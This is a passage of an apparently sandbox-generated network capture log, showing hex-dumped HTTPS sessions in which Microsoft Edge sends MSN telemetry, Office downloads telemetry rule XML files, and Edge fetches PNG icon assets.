2024-11-23 20:59:44 UTC	4174	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 30 3a 35 39 3a 33 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-23T20:59:33Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-11-23 20:59:44 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cf57858c45d64c5bb0e6da9aba3e1809&HASH=cf57&LV=202411&V=4&LU=1732395584642; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 20:59:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3ce88298f6ed45d9810820c6bd063861; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 21:29:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11642 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 20:59:43 GMT Connection: close
2024-11-23 20:59:44 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 63 66 35 37 38 35 38 63 34 35 64 36 34 63 35 62 62 30 65 36 64 61 39 61 62 61 33 65 31 38 30 39 26 48 41 53 48 3d 63 66 35 37 26 4c 56 3d 32 30 32 34 31 31 26 56 3d 34 26 4c 55 3d 31 37 33 32 33 39 35 35 38 34 36 34 32 22 2c 22 6d 63 31 22 3a 22 63 66 35 37 38 35 38 63 34 35 64 36 34 63 35 62 62 30 65 36 64 61 39 61 62 61 33 65 31 38 30 39 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=cf57858c45d64c5bb0e6da9aba3e1809&HASH=cf57&LV=202411&V=4&LU=1732395584642","mc1":"cf57858c45d64c5bb0e6da9aba3e1809"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49876	52.168.112.67	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732395573000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4289 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2E87571383B969740960425382DB688B; _EDGE_S=F=1&SID=2C102E9AA91B68F628743BDAA8826988; _EDGE_V=1
2024-11-23 20:59:44 UTC	4289	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 30 3a 35 39 3a 33 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-23T20:59:33Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-11-23 20:59:44 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6fa59084f2dc4c74b1f2aba3a318faf6&HASH=6fa5&LV=202411&V=4&LU=1732395584563; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 20:59:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7ea7016867dd4dadb5ddd64fb0798046; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 21:29:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11547 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 20:59:44 GMT Connection: close
2024-11-23 20:59:44 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 36 66 61 35 39 30 38 34 66 32 64 63 34 63 37 34 62 31 66 32 61 62 61 33 61 33 31 38 66 61 66 36 26 48 41 53 48 3d 36 66 61 35 26 4c 56 3d 32 30 32 34 31 31 26 56 3d 34 26 4c 55 3d 31 37 33 32 33 39 35 35 38 34 35 36 33 22 2c 22 6d 63 31 22 3a 22 36 66 61 35 39 30 38 34 66 32 64 63 34 63 37 34 62 31 66 32 61 62 61 33 61 33 31 38 66 61 66 36 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=6fa59084f2dc4c74b1f2aba3a318faf6&HASH=6fa5&LV=202411&V=4&LU=1732395584563","mc1":"6fa59084f2dc4c74b1f2aba3a318faf6"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205944Z-178bfbc474bw8bwphC1NYC38b400000004vg000000007s9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205944Z-178bfbc474bxkclvhC1NYC69g400000004x000000000cnxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:45 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205944Z-174c587ffdfl22mzhC1TEBk40c00000003fg00000000rycc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:44 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205945Z-178bfbc474bxkclvhC1NYC69g400000004u000000000p0ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49884	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:46 UTC	516	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 64262792-d01e-0021-40ea-3d0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-15b8b599d88tr2flhC1TEB5gk400000003m00000000092np Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49885	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:45 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:45 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 59ab5595-d01e-0021-765c-3d0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-174c587ffdfdwxdvhC1TEB1c4n00000003ag00000000k7ga Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:45 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49888	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:46 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:45 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 9c8cec2d-301e-006f-72d6-3dc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-178bfbc474bp8mkvhC1NYCzqnn00000004x0000000003x82 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49887	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:46 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:45 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5447c91f-401e-006b-1bd6-3d3551000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205945Z-15b8b599d88s6mj9hC1TEBur30000000038000000000cuw4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:46 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: 